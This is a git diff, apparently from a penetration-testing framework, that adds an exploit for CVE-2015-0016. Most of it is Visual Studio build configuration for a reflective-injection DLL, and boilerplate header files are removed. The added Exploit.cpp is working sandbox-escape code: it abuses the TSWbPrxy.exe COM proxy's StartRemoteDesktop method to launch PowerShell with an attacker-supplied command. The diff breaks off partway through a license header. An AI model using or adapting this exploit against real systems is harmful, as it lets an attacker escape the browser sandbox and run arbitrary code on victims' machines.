+0,0 @@ -// stdafx.cpp : source file that includes just the standard includes -// cve-2015-0016.pch will be the pre-compiled header -// stdafx.obj will contain the pre-compiled type information - -#include "stdafx.h" - -// TODO: reference any additional headers you need in STDAFX.H -// and not in this file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h deleted file mode 100755 index 677e68a9fa..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h +++ /dev/null @@ -1,16 +0,0 @@ -// stdafx.h : include file for standard system include files, -// or project specific include files that are used frequently, but -// are changed infrequently -// - -#pragma once - -#include "targetver.h" - -#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers -// Windows Header Files: -#include <windows.h> - - - -// TODO: reference additional headers your program requires here diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h deleted file mode 100755 index 90e767bfce..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -// Including SDKDDKVer.h defines the highest available Windows platform. - -// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and -// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. - -#include <SDKDDKVer.h> diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln b/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln new file mode 100755 index 0000000000..eff992d77c --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual C++ Express 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj new file mode 100755 index 0000000000..33c6bd9515 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj @@ -0,0 +1,357 @@ +<?xml version="1.0" encoding="Windows-1252"?> +<VisualStudioProject + ProjectType="Visual C++" + Version="9.00" + Name="reflective_dll" + ProjectGUID="{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" + RootNamespace="reflective_dll" + Keyword="Win32Proj" + TargetFrameworkVersion="196613" + > + <Platforms> + <Platform + Name="Win32" + /> + <Platform + Name="x64" + /> + </Platforms> + <ToolFiles> + </ToolFiles> + <Configurations> + <Configuration + Name="Debug|Win32" + OutputDirectory="$(SolutionDir)$(ConfigurationName)" + IntermediateDirectory="$(ConfigurationName)" + ConfigurationType="2" + CharacterSet="1" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + /> + <Tool + Name="VCCLCompilerTool" + Optimization="0" + PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS" + MinimalRebuild="true" + BasicRuntimeChecks="3" + RuntimeLibrary="3" + UsePrecompiledHeader="0" + WarningLevel="3" + DebugInformationFormat="4" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + LinkIncremental="2" + GenerateDebugInformation="true" + SubSystem="2" + TargetMachine="1" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCPostBuildEventTool" + /> + </Configuration> + <Configuration + Name="Debug|x64" + OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)" + IntermediateDirectory="$(PlatformName)\$(ConfigurationName)" + ConfigurationType="2" + CharacterSet="1" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + TargetEnvironment="3" + /> + <Tool + Name="VCCLCompilerTool" + Optimization="0" + PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS" + MinimalRebuild="true" + BasicRuntimeChecks="3" + RuntimeLibrary="3" + UsePrecompiledHeader="0" + WarningLevel="3" + DebugInformationFormat="3" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + LinkIncremental="2" + GenerateDebugInformation="true" + SubSystem="2" + TargetMachine="17" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCPostBuildEventTool" + /> + </Configuration> + <Configuration + Name="Release|Win32" + OutputDirectory="$(SolutionDir)$(ConfigurationName)" + IntermediateDirectory="$(ConfigurationName)" + ConfigurationType="2" + CharacterSet="2" + WholeProgramOptimization="1" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + /> + <Tool + Name="VCCLCompilerTool" + Optimization="2" + InlineFunctionExpansion="1" + EnableIntrinsicFunctions="true" + PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" + RuntimeLibrary="0" + EnableFunctionLevelLinking="true" + UsePrecompiledHeader="0" + WarningLevel="3" + DebugInformationFormat="3" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + LinkIncremental="1" + GenerateDebugInformation="true" + SubSystem="2" + OptimizeReferences="2" + EnableCOMDATFolding="2" + TargetMachine="1" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCPostBuildEventTool" + CommandLine="copy ..\Release\reflective_dll.dll ..\bin\" + /> + </Configuration> + <Configuration + Name="Release|x64" + OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)" + IntermediateDirectory="$(PlatformName)\$(ConfigurationName)" + ConfigurationType="2" + CharacterSet="2" + WholeProgramOptimization="0" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + TargetEnvironment="3" + /> + <Tool + Name="VCCLCompilerTool" + Optimization="2" + InlineFunctionExpansion="1" + EnableIntrinsicFunctions="true" + FavorSizeOrSpeed="2" + WholeProgramOptimization="false" + PreprocessorDefinitions="WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" + RuntimeLibrary="0" + EnableFunctionLevelLinking="true" + UsePrecompiledHeader="0" + WarningLevel="3" + DebugInformationFormat="3" + CompileAs="2" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + OutputFile="$(OutDir)\$(ProjectName).x64.dll" + LinkIncremental="1" + GenerateDebugInformation="true" + SubSystem="2" + OptimizeReferences="2" + EnableCOMDATFolding="2" + TargetMachine="17" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCPostBuildEventTool" + CommandLine="copy $(OutDir)\$(ProjectName).x64.dll ..\bin\" + /> + </Configuration> + </Configurations> + <References> + </References> + <Files> + <Filter + Name="Source Files" + Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx" + UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}" + > + <File + RelativePath=".\src\ReflectiveDll.c" + > + </File> + <File + RelativePath=".\src\ReflectiveLoader.c" + > + </File> + </Filter> + <Filter + Name="Header Files" + Filter="h;hpp;hxx;hm;inl;inc;xsd" + UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}" + > + <File + RelativePath=".\src\ReflectiveDLLInjection.h" + > + </File> + <File + RelativePath=".\src\ReflectiveLoader.h" + > + </File> + </Filter> + </Files> + <Globals> + </Globals> +</VisualStudioProject> diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj new file mode 100755 index 0000000000..0eeda45bd9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj @@ -0,0 +1,268 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|ARM"> + <Configuration>Debug</Configuration> + <Platform>ARM</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|ARM"> + <Configuration>Release</Configuration> + <Platform>ARM</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid> + <RootNamespace>reflective_dll</RootNamespace> + <Keyword>Win32Proj</Keyword> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>false</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup> + <_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Configuration)\</OutDir> + <IntDir>$(Configuration)\</IntDir> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(Platform)\$(Configuration)\</IntDir> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Configuration)\</OutDir> + <IntDir>$(Configuration)\</IntDir> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(Platform)\$(Configuration)\</IntDir> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>EditAndContinue</DebugInformationFormat> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + <TargetMachine>MachineX86</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>EditAndContinue</DebugInformationFormat> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <Midl> + <TargetEnvironment>X64</TargetEnvironment> + </Midl> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + <TargetMachine>MachineX64</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <Optimization>MaxSpeed</Optimization> + <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <CompileAs>CompileAsCpp</CompileAs> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <TargetMachine>MachineX86</TargetMachine> + </Link> + <PostBuildEvent> + <Command>copy ..\Release\reflective_dll.dll ..\bin\</Command> + </PostBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> + <ClCompile> + <Optimization>MinSpace</Optimization> + <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <BufferSecurityCheck>true</BufferSecurityCheck> + <CompileAs>Default</CompileAs> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile> + </Link> + <PostBuildEvent> + <Command>copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\</Command> + </PostBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <Midl> + <TargetEnvironment>X64</TargetEnvironment> + </Midl> + <ClCompile> + <Optimization>MaxSpeed</Optimization> + <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> + <IntrinsicFunctions>true</IntrinsicFunctions> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <WholeProgramOptimization>false</WholeProgramOptimization> + <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <CompileAs>CompileAsCpp</CompileAs> + </ClCompile> + <Link> + <OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Windows</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <TargetMachine>MachineX64</TargetMachine> + </Link> + <PostBuildEvent> + <Command>copy $(OutDir)$(ProjectName).x64.dll ..\bin\</Command> + </PostBuildEvent> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="src\Exploit.cpp" /> + <ClCompile Include="src\ReflectiveDll.c" /> + <ClCompile Include="src\ReflectiveLoader.c" /> + <ClCompile Include="src\ShimsInstaller.cpp" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="src\Exploit.h" /> + <ClInclude Include="src\ReflectiveDLLInjection.h" /> + <ClInclude Include="src\ReflectiveLoader.h" /> + <ClInclude Include="src\ShimsInstaller.h" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters new file mode 100755 index 0000000000..f9a64f93cb --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters @@ -0,0 +1,41 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="src\ReflectiveDll.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\ReflectiveLoader.c"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\Exploit.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="src\ShimsInstaller.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="src\ReflectiveDLLInjection.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="src\ReflectiveLoader.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="src\Exploit.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="src\ShimsInstaller.h"> + <Filter>Header Files</Filter> + </ClInclude> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp b/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp new file mode 100755 index 0000000000..aa0829135b --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp @@ -0,0 +1,74 @@ +#include <Windows.h> +#include "Exploit.h" +#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace + +static const size_t MaxEnv = 32767; + +static PCHAR GetEnv(LPCSTR env) +{ + char *buf = (char *)malloc(MaxEnv); + if (buf == NULL) { + return NULL; + } + + GetEnvironmentVariable(env, buf, MaxEnv); + + return buf; +} + +static VOID DoTSWbPrxyExploit() { + HRESULT hr; + IMSTSWebProxy *pUnk; + CHAR cmdline[] = "TSWbPrxy.exe"; + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + PCHAR fullPath = NULL; + PCHAR powershell = NULL; + PCHAR pshCmd = NULL; + + fullPath = GetEnv("windir"); + if (fullPath == NULL) { + goto freeFullPath; + } + strcat_s(fullPath, MaxEnv, "\\System32\\TSWbPrxy.exe"); + + powershell = GetEnv("windir"); + if (powershell == NULL) { + goto freePowershell; + } + strcat_s(powershell, MaxEnv, "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe"); + + pshCmd = GetEnv("PSHCMD"); + if (pshCmd == NULL) { + goto freePowershell; + } + + hr = CreateProcess(fullPath, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startInfo, &procInfo); + if (hr == 0) + goto freePshCmd; + + hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk); + if (hr != 0) + goto freePshCmd; + + pUnk->StartRemoteDesktop(powershell, pshCmd); + pUnk->Release(); + +freePshCmd: + free(pshCmd); + pshCmd = NULL; +freePowershell: + free(powershell); + powershell = NULL; +freeFullPath: + free(fullPath); + fullPath = NULL; + + return; +} + +VOID DoExploit() { + CoInitialize(NULL); + DoTSWbPrxyExploit(); + CoUninitialize(); +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/Exploit.h b/external/source/exploits/cve-2015-0016/dll/src/Exploit.h new file mode 100755 index 0000000000..1b28acdfe9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/Exploit.h @@ -0,0 +1,5 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H + +VOID DoExploit(); +#endif \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h new file mode 100755 index 0000000000..4e9ce6d4ce --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, 